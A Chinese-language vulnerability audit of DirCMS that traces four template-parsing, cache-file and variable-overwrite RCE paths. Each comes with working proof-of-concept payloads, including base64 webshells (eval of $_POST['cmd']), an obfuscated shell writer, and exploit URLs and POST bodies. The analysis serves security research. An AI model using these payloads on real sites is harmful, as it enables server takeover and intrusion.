DirCMS 审计
环境搭建
- 官网链接:http://www.dircms.cc/
- 下载地址:dircms6
目录结构
代码目录结构
.
├── admin.php
├── api
├── cache
├── config
├── dircms
├── favicon.ico
├── index.php
├── install.php
├── LICENSE
├── mobile
├── nginx.htaccess
├── README.en.md
├── README.md
├── static
├── template
├── test.php
└── uploadfile
- dircms 为框架内核文件,基于迅睿 CMS 框架:迅睿CMS框架
MVC 结构
- 控制器:功能相关控制器存放在 dircms/App 目录下
- 服务类(Service):存放在 dircms/Fcms/Core/Service.php
- 基础类:存放在 dircms/Fcms/Library 目录下
数据流:控制器 -> 服务类 Service -> 类加载(加载基础类)
API
- pay
- ueditor
安全防护
- dircms/Fcms/Library/Security.php 存在 XSS 过滤函数 xss_clean,其中除了 xss 过滤之外,还有部分的 php 函数过滤。
$str = preg_replace( '#(alert|prompt|confirm|cmd|passthru|eval|exec|expression|system|fopen|fsockopen|file|file_get_contents|readfile|unlink)(\s*)\((.*?)\)#si', '\\1\\2(\\3)', $str );
漏洞挖掘
后台代码执行(模板解析导致 RCE)
dircms/Fcms/Core/Helper.php 中存在一个 php55_replace_function 函数:
function php55_replace_function($value) {
if (function_exists($value[1])) {
// 执行函数体
$param = $value[2] == '$data' ? $this->data : $value[2];
return call_user_func_array(
$value[1],
is_array($param) ? ['data' => $param] : @explode(',', $param)
);
} else {
return '函数['.$value[1].']未定义';
}
return $value[0];
}
该函数调用了 call_user_func_array 函数,一旦传入的参数 $value 可控,则可以执行任意 php 函数。
php55_replace_function 函数调用点较多,其中 dircms/Fcms/Library/Seo.php 中的 search 函数也用到了该方法,部分代码如下:
$rep = new \php5replace($data);
...
$seo['meta_title'] = str_replace('%', '', preg_replace_callback('#{([a-z_0-9]+)\((.*)\)}#Ui', array($rep, 'php55_replace_function'), $seo['meta_title']));
...
使用正则表达式匹配 $seo['meta_title'])
的值,匹配内容包含整个函数调用。但是这里的执行也有一定限制:
- 函数名只能匹配小写字母、数字与下划线。
- 无法嵌套函数调用。
$seo['meta_title'])
来源于后台 SEO 设置,在”设置”-> SEO 设置 -> 搜索 SEO 中可以设置 SEO 标题,在其中的内容中添加一个函数调用:
[第{page}页{join}][{keyword}{join}][{param}{join}]{modulename}{join}{SITE_NAME}{phpinfo(1)}
保存之后,再在前端访问搜索页面:
/index.php?s=news&c=search&keyword=1111
当尝试使用 system 执行命令时,会发现输入的 system() 中的括号会被 html 转义,其过滤函数可以定位到 dircms/Fcms/Library/Security.php 中的 xss_clean 函数,该函数除了会进行 XSS 的过滤,还会进行 PHP 标签 <?
以及敏感函数的过滤,如下所示:
$str = preg_replace(
'#(alert|prompt|confirm|cmd|passthru|eval|exec|expression|system|fopen|fsockopen|file|file_get_contents|readfile|unlink)(\s*)\((.*?)\)#si',
'\\1\\2(\\3)',
$str
);
其中过滤了常见的一些命令执行函数,但并不完全,综合来看,我们需要找到满足下面条件的函数去执行命令:
- 不在黑名单内。
- 不能嵌套函数。
例如,我们可以使用 file_put_content 结合 php://filter 来写入文件,例如:
file_put_contents("php://filter/write=convert.base64-decode/resource=evil.php","PD9waHAgJHFlQWY9Y3JlYXRlX2Z1bmN0aW9uKHN0cl9yb3QxMygnJCcpLmJhc2U2NF9kZWNvZGUoJ2N3PT0nKS5zdHJfcm90MTMoJ2InKS5jaHIoNTAxLTM5MikuYmFzZTY0X2RlY29kZSgnWlE9PScpLGNocigweDEzMC0weGNiKS5jaHIoMHhmZDg0LzB4MjI2KS5iYXNlNjRfZGVjb2RlKCdZUT09Jykuc3RyX3JvdDEzKCd5JykuY2hyKDA1NjI1MC8wMTEyMSkuY2hyKDA1MDY2NC8wMTEwNSkuYmFzZTY0X2RlY29kZSgnY3c9PScpLmJhc2U2NF9kZWNvZGUoJ2J3PT0nKS5jaHIoMHgyYjAtMHgyNDMpLmJhc2U2NF9kZWNvZGUoJ1pRPT0nKS5jaHIoMHg2ZjI2LzB4MmI2KS5jaHIoMDQ3NTEwLzA1MzApKTskcWVBZihiYXNlNjRfZGVjb2RlKCdPRGM1TicuJ2pjM08wJy4nQmxka0YnLidzS0NSZicuJycuc3RyX3JvdDEzKCdIJykuY2hyKDAxNzMxMzIvMDE2MjIpLmNocig1MDQ0NS84ODUpLmNocig3MDItNjE4KS5iYXNlNjRfZGVjb2RlKCdWZz09JykuJycuJycuY2hyKDU2MDcwLzgwMSkuc3RyX3JvdDEzKCdnJykuY2hyKDMwNjE4LzM3OCkuY2hyKDB4M2Q2LTB4MzcyKS5zdHJfcm90MTMoJ2EnKS4nJy4nUklWSGwnLidFUkYwcCcuJ096STJNJy4nemt3TXonLidFNycuJycpKTs/Pg==");
poc 如下:
[第{page}页{join}][{keyword}{join}][{param}{join}]{modulename}{join}{SITE_NAME}{file_put_contents(php://filter/write=convert.base64-decode/resource=evil.php,PD9waHAgJHFlQWY9Y3JlYXRlX2Z1bmN0aW9uKHN0cl9yb3QxMygnJCcpLmJhc2U2NF9kZWNvZGUoJ2N3PT0nKS5zdHJfcm90MTMoJ2InKS5jaHIoNTAxLTM5MikuYmFzZTY0X2RlY29kZSgnWlE9PScpLGNocigweDEzMC0weGNiKS5jaHIoMHhmZDg0LzB4MjI2KS5iYXNlNjRfZGVjb2RlKCdZUT09Jykuc3RyX3JvdDEzKCd5JykuY2hyKDA1NjI1MC8wMTEyMSkuY2hyKDA1MDY2NC8wMTEwNSkuYmFzZTY0X2RlY29kZSgnY3c9PScpLmJhc2U2NF9kZWNvZGUoJ2J3PT0nKS5jaHIoMHgyYjAtMHgyNDMpLmJhc2U2NF9kZWNvZGUoJ1pRPT0nKS5jaHIoMHg2ZjI2LzB4MmI2KS5jaHIoMDQ3NTEwLzA1MzApKTskcWVBZihiYXNlNjRfZGVjb2RlKCdPRGM1TicuJ2pjM08wJy4nQmxka0YnLidzS0NSZicuJycuc3RyX3JvdDEzKCdIJykuY2hyKDAxNzMxMzIvMDE2MjIpLmNocig1MDQ0NS84ODUpLmNocig3MDItNjE4KS5iYXNlNjRfZGVjb2RlKCdWZz09JykuJycuJycuY2hyKDU2MDcwLzgwMSkuc3RyX3JvdDEzKCdnJykuY2hyKDMwNjE4LzM3OCkuY2hyKDB4M2Q2LTB4MzcyKS5zdHJfcm90MTMoJ2EnKS4nJy4nUklWSGwnLidFUkYwcCcuJ096STJNJy4nemt3TXonLidFNycuJycpKTs/Pg==)}
前台代码执行(模板解析导致 RCE)
这个前台的 RCE 与上面的后台 RCE sink 点一致,都是利用 php55_replace_function 函数。
搜索 php55_replace_function 的调用点,主要出现在 dircms/Fcms/Library/Seo.php 和 dircms/Fcms/Library/Router.php 两个文件中。
Seo 类中的三个函数都有调用:
dircms/Fcms/Library/Seo.php
- Seo 类
- category 函数
- search 函数
- show 函数
其中,search 函数用于前端查询窗口,上面的后台 RCE 就是需要通过这个函数来触发,但此处的 payload 需要依赖后台数据修改。
show 函数用于文章的展示,查看某一篇文章时就会调用,部分代码如下:
function show($mod, $data, $page = 1) {
...
$meta_title = $mod['site'][SITE_ID]['show_title'] ? $mod['site'][SITE_ID]['show_title'] : '['.dr_lang('第%s页', '{page}').'{join}]{title}{join}{catpname}{join}{modulename}{join}{SITE_NAME}';
$meta_title = $page > 1 ? str_replace(array('[', ']'), '', $meta_title) : preg_replace('/\[.+\]/U', '', $meta_title);
$rep = new \php5replace($data);
$seo['meta_title'] = preg_replace_callback('#{([A-Z_]+)}#U', array($rep, 'php55_replace_var'), $meta_title);
$seo['meta_title'] = preg_replace_callback('#{([a-z_0-9]+)}#U', array($rep, 'php55_replace_data'), $seo['meta_title']);
$seo['meta_title'] = preg_replace_callback('#{([a-z_0-9]+)\((.*)\)}#Ui', array($rep, 'php55_replace_function'), $seo['meta_title']);
$seo['meta_title'] = str_replace($data['join'].$data['join'], $data['join'], $seo['meta_title']);
$seo['meta_title'] = htmlspecialchars(dr_clearhtml($seo['meta_title']));
...
}
可以看到其中用到了 {join}]{title}{join}{catpname}{join}{modulename}{join}{SITE_NAME}
这个模板,也就是说,在经过 php55_replace_data 函数时,就会使用文章实际的标题来替换 {title}
。
但需要注意的是,这段代码调用完 php55_replace_data 之后,继续调用 php55_replace_function,如果我们将 title 填充为 {file_put_contents(php://filter/write=convert.base64-decode/resource=evil.php,base64_content)}
,就可以进入 php55_replace_function 的调用。
因此,只需要创建一篇文章,将标题填充为上述的 payload 即可,如果站点开启了注册,我们就可以直接创建一个普通用户,然后创建一篇文章就可以 RCE。
poc:
{file_put_contents(php://filter/write=convert.base64-decode/resource=evil.php,PD9waHAgQGV2YWwoJF9QT1NUWyJjbWQiXSk7Cg==)}
创建完之后在前台查看该文章就可以触发。
后台代码注入(缓存文件利用)
参考这篇文章 某CMS漏洞总结 - 先知社区,该漏洞出现在迅睿 CMS 框架版本 v4.3.3~v4.5.0,DirCMS 中没有明确标识版本,但根据代码逻辑判断属于该版本区间。
dircms/Core/Controllers/Admin/Cron.php 中的 add 函数会将用户输入写入缓存文件,并且每次访问时对缓存文件进行包含,由此造成代码注入,add 函数的代码如下:
public function add() {
$json = '';
if (is_file(WRITEPATH.'config/cron.php')) {
require WRITEPATH.'config/cron.php';
}
$data = json_decode($json, true);
if (IS_AJAX_POST) {
$post = \Phpcmf\Service::L('input')->post('data', true);
file_put_contents(WRITEPATH.'config/cron.php',
'<?php defined(\'FCPATH\') OR exit(\'No direct script access allowed\');'.PHP_EOL.' $json=\''.json_encode($post).'\';');
\Phpcmf\Service::L('input')->system_log('设置自定义任务类型');
$this->_json(1, dr_lang('操作成功'));
}
\Phpcmf\Service::V()->assign([
'data' => $data,
]);
\Phpcmf\Service::V()->display('cron_add.html');
}
触发 add 函数的调用需要进入管理员后台 -> 应用 -> 应用插件 -> 任务队列。
点击保存可以提交 post 报文,data 参数经过 json_encode 最终会写入 cache/config/cron.php
';file_put_contents(implode(base64_decode('Lw=='),['php:','','filter','write=convert.base64-decode','resource=evil.php']),'PD9waHAgQGV2YWwoJF9QT1NUWyJjbWQiXSk7Cg==');return;$a='
最终写入 cache/config/cron.php 文件内容如下:
<?php defined('FCPATH') OR exit('No direct script access allowed');
$json='{"1":{"name":"';file_put_contents(implode(base64_decode('Lw=='),['php:','','filter','write=convert.base64-decode','resource=evil.php']),'PD9waHAgQGV2YWwoJF9QT1NUWyJjbWQiXSk7Cg==');return;$a='"}}';
也参考这篇文章 某CMS漏洞总结 - 先知社区 中的 poc:
isform=1&csrf_test_name=3318a4fabdf4ea654734315a4d508a5f&data[1][name]=&data[1][code]=[';file_put_contents('webshell.php',htmlspecialchars_decode('<').'?php eval'.base64_decode('KA==').'@$_POST['.base64_decode('Ig==').'password'.base64_decode('Ig==').']'.base64_decode('KQ==').';?'.htmlspecialchars_decode('>'));return;']
前台代码执行(变量覆盖导致模板变量可控)
dircms/Fcms/Core/View.php 中的 list_tag 函数中存在这样的代码:
// list 标签解析
public function list_tag($_params) {
...
switch ($system['action']) {
case 'function': //执行函数
if (!isset($param['name'])) {
return $this->_return($system['return'], 'name参数不存在');
} elseif (!function_exists($param['name'])) {
return $this->_return($system['return'], '函数['.$param['name'].']未定义');
}
$name = 'function-'.md5(dr_array2string($param));
$cache = \Phpcmf\Service::L('cache')->init()->get($name);
if (!$cache) {
$rt = call_user_func($param['name'], $param['param']);
$cache = [
$rt
];
\Phpcmf\Service::L('cache')->init()->save($name, $cache, $system['cache']);
}
return $this->_return($system['return'], $cache, '');
break;
当 action 为字符串 function 时,会调用 call_user_func($param['name'], $param['param'])
执行函数。如果函数名与函数参数可控,则可以造成任意代码执行。
list_tag 函数在大量的模板文件中被调用,例如:cache/template/template_pc_default_home_api_list_data.html.cache.php。该文件是 template/pc/default/home/api/list_data.html 经过解析之后生成的 php 缓存文件。
当需要使用 list_data.html 这个前端文件时,就会将 cache/template/template_pc_default_home_api_list_data.html.cache.php 这个缓存文件包含进来。
该缓存文件的部分内容如下所示:
<?php $list_return = $this->list_tag("action=module module=news catid=$catid page=1 cache=300"); if ($list_return) extract($list_return, EXTR_OVERWRITE); $count=dr_count($return); if (is_array($return)) { foreach ($return as $key=>$t) { $is_first=$key==0 ? 1 : 0;$is_last=$count==$key+1 ? 1 : 0; ?>
<div class="ajax-load-con content excerpt-one">
<div class="content-box posts-image-box">
<div class="posts-default-title">
<div class="post-entry-categories">
其中会调用 list_tag 函数,且传入参数 action=module module=news catid=$catid page=1 cache=300
。可以看到参数是通过空格进行分割的键值对,list_tag 函数在进行处理时,会将键值对保存在 $system
这个变量中:
foreach ($params as $t) {
...
if (isset($system[$var])) { // 系统参数,只能出现一次,不能添加修饰符
$system[$var] = dr_safe_replace($val);
}
例如第一个参数 action: $system['action'] = dr_safe_replace('module')
想要进入 call_user_func,就需要 action 的值为 function。但在内置的所有模板中,没有模板使用到了 action=function
。
但需要注意的是,list_tag 在调用时 $this->list_tag("action=module module=news catid=$catid page=1 cache=300");
,使用到了一个 $catid
变量。由于这个变量被直接拼接进来,假如构造
$catid = " action=function name=phpinfo param0=-1"
最终传入 list_tag 的参数就会变成:
$this->list_tag("action=module module=news catid= action=function name=phpinfo param0=-1 page=1 cache=300");
action 参数被设置了两次,但最终会都被设置为后者的值,这样也就达到了目的。
$catid
在哪被赋值呢?模板文件实际上是在 dircms/Fcms/Core/View.php 中的 display 函数中使用 include 包含进来的,在这个 include 的前方,正好调用了一次 extract 函数。
public function display($_name, $_dir = '') {
if (!isset($this->_options['get'])) {
$this->_options['get'] = \Phpcmf\Service::L('input')->xss_clean($_GET);
}
...
extract($this->_options, EXTR_PREFIX_SAME, 'data');
...
include $this->load_view_file($_view_file);
...
}
extract 函数可以造成变量覆盖,如果 $this->_options
可控的话,就可以对 $catid
赋值。向上溯源可以发现根多地方都有调用 display 函数,但只有 dircms/Core/Controllers/Api/Api.php 中的 template 函数最方便利用:
public function template() {
$file = dr_safe_filename(\Phpcmf\Service::L('input')->get('name'));
$module = dr_safe_filename(\Phpcmf\Service::L('input')->get('module'));
$data = [
'file' => $file,
'module' => $module,
];
...
\Phpcmf\Service::V()->assign(\Phpcmf\Service::L('input')->get('', true));
ob_start();
\Phpcmf\Service::V()->display($file);
$html = ob_get_contents();
ob_clean();
...
}
直接调用 \Phpcmf\Service::V()->assign
函数并传入所有 GET 请求参数。\Phpcmf\Service::V()->assign
函数就是用于给 option 成员变量赋值的,如下所示:
public function assign($key, $value = '') {
if (!$key) {
return FALSE;
}
if (is_array($key)) {
foreach ($key as $k => $v) {
$this->_options[$k] = $v;
}
} else {
$this->_options[$key] = $value;
}
}
由此一来从 GET 请求参数中传入即可。poc 如下:
/index.php?s=api&c=api&m=template&app=admin&name=list_data.html&phpcmf_dir=admin&catid=%20action=function%20name=phpinfo%20param0=-1
这个漏洞的利用思路来自于文章 某cms 前台RCE漏洞分析 - 先知社区,通过变量覆盖控制模板变量来达成 RCE,不得不说十分巧妙。
总结
- 模板解析功能是提高 php CMS 框架灵活性的重要功能,但同样意味着容易出现可利用的点,例如,后台修改模板、利用变量覆盖控制控制模板变量等利用方式。
- 缓存文件通常会在程序中被包含进来,一旦缓存文件的内容可控,就可能造成严重的影响。